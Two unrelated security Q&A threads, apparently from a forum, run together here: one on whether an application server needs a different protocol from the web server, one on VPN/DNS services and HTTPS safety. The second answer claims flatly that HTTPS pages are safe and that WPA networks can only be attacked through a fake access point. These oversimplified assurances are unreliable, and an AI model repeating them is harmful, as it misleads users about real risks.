I have been thinking I need to make the application server use a different communication protocol than that exposed on the web server.  If my middle-tier exposes HTTP/REST web services using the same technology stack as the web server, would not the middle-tier be just as easily compromised?

As such, I have been making the middle-tier communicate by a binary TCP protocol while the web server exposes HTTP/REST webservices.  The down side to this is all the additional overhead. I need to both define interfaces twice (once for the application server and once for the web server) and need to deal with two libraries/communication protocols and their quirks.

Is this the complexity that secure web application development demands?  Am I right in needing to use different protocols/libraries the Application Server and the Web Server?

Edited to add: This concerns mitigation in the event the web server is compromised.  The web server can do far less than the middle-tier (most notably, not access the database).  An attacker compromising the of the web server would be bad; but, achieving unfettered access to the database would be far worse.

Using a different stack / transport protocol doesn't significantly reduce much risk.

client --([1]http)--> frontend --([2]binary)--> backend --([3]mssql/odbc/?)--> database

Three protocols labeled [1], [2], and [3]. If an attacker compromises the frontend server, it doesn't matter what protocol is used for [2]. The attacker will have the same permissions as any process running on the front end, regardless of the protocol used for [2].

I'd put less energy in swapping protocols and more energy in monitoring the traffic from the frontend to the backend. That traffic is more likely to show anomalies because frontend to backend traffic is usually clearly defined. Client to frontend traffic is not as easy to detect anomalies because every browser, every scanner, every hacker is trying to break in all the time. But if you are able to detect that a compromise has already taken place, you're going to be able to mitigate damage.

Back to your protocol question. Because HTTP is clear text, it is easier to monitor. You can detect unusual requests, and alert your incident response.

Just my 2 cents.


Are services like Hide My Ass and UnoDNS reasonably safe to use? While in Germany, I want to keep using my Netflix account, watch PBS, CNBC. I have found following services:

A VPN: https://hidemyass.com/vpn/promo/1/5/

A DNS: http://www.unotelly.com/unodns/

I an concenred about someone stealing my data trough a man-in-the-middle attack. Should I use any of these services?

I know that HTTP traffic is fair game. What about HTTPS? Would anyone be able to steal my online banking password or Gmail credentials?

What about HTTPS? Would anyone be able to steal my online banking
  password or Gmail credentials?

You shouldn't worry about this unless you make it a habit of installing forged certificates.

Furthermore....

If you are on a wireless connection which has a password and the proper security modes enables ( WPA, WPA2) the only way to hijack your information is to connect to somebody else pretending to be said access point.

If you are viewing a https page you are safe.